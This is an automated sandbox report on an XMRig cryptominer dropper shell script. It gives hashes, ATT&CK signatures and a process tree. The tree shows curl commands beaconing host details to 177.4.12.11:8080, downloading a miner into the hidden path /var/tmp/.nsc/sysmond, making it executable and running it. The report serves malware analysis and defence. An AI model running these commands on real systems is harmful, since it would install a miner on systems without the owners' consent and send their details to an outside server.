xmrig | 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd

Analysis

max time kernel
8s
max time network
11s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 18:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 402B
Sample261002-w3dn3aff98
SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
MD5 870fea7e93e2183e85ff04ee3c918393
SHA1 a386c4b90cdd08f91296426f559c52449ac15431
SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
TLSH
T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.nsc/sysmond	769	sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/133/stat	ps
File opened for reading	/proc/323/stat	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/625/stat	ps
File opened for reading	/proc/675/status	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/136/cmdline	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/583/stat	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/19/cmdline	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/144/cmdline	ps
File opened for reading	/proc/703/status	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/165/stat	ps
File opened for reading	/proc/227/stat	ps
File opened for reading	/proc/291/cmdline	ps
File opened for reading	/proc/305/cmdline	ps
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/103/status	ps
File opened for reading	/proc/288/stat	ps
File opened for reading	/proc/305/stat	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/578/status	ps
File opened for reading	/proc/584/status	ps
File opened for reading	/proc/657/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/640/cmdline	ps
File opened for reading	/proc/625/status	ps
File opened for reading	/proc/704/status	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/166/status	ps
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/106/stat	ps
File opened for reading	/proc/304/status	ps
File opened for reading	/proc/310/stat	ps

/tmp/s
/tmp/s
1⤵
PID:641
- /bin/hostname
  hostname
  2⤵
  PID:644
- /usr/bin/tr
  tr -cd A-Za-z0-9._-
  2⤵
  PID:645
- /usr/bin/cut
  cut -c1-20
  2⤵
  PID:646
- /usr/bin/curl
  curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:649
- /bin/sh
  sh
  2⤵
  - Executes dropped EXE
  PID:675
- - /bin/hostname
    hostname
    3⤵
    PID:676
- - /bin/uname
    uname -s
    3⤵
    PID:677
- - /bin/uname
    uname -m
    3⤵
    PID:678
- - /sbin/sysctl
    sysctl -n kern.osrelease
    3⤵
    - Reads CPU attributes
    PID:679
- - /usr/bin/id
    id -u
    3⤵
    - Reads runtime system information
    PID:680
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-9&v=env_Linux_armv7l_osrel=_uid=0"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:681
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:697
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    - Reads runtime system information
    PID:699
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    - Reads runtime system information
    PID:701
- - /bin/grep
    grep -c "[s]ysmond"
    3⤵
    PID:705
- - /bin/ps
    ps -ax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:704
- - /bin/rm
    rm -f sysmond
    3⤵
    PID:710
- - /usr/bin/curl
    curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:711
- - /usr/bin/tr
    tr -d " "
    3⤵
    PID:743
- - /usr/bin/wc
    wc -c
    3⤵
    PID:742
- - /bin/chmod
    chmod 755 sysmond
    3⤵
    - File and Directory Permissions Modification
    PID:744
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-9&v=dl_sz=3620152"
    3⤵
    - Checks CPU configuration
    PID:745
- - /bin/sed
    sed "s/[^a-zA-Z0-9._-]/_/g"
    3⤵
    - Reads runtime system information
    PID:771
- - /bin/sed
    sed -n 1p
    3⤵
    PID:770
- - /var/tmp/.nsc/sysmond
    ./sysmond --version
    3⤵
    PID:769
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-9&v=ver=sh__38__._sysmond__Exec_format_error"
    3⤵
    - Checks CPU configuration
    PID:773
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-9&v=exe_fail_rc=0"
    3⤵
    - Checks CPU configuration
    PID:776
- /usr/bin/curl
  curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:674

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysmond

Path /var/tmp/.nsc/sysmond
Size 3.5MB
SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
MD5 5eafa37cdf767f4a8f2c9801d57c45a1
SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
TLSH
T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads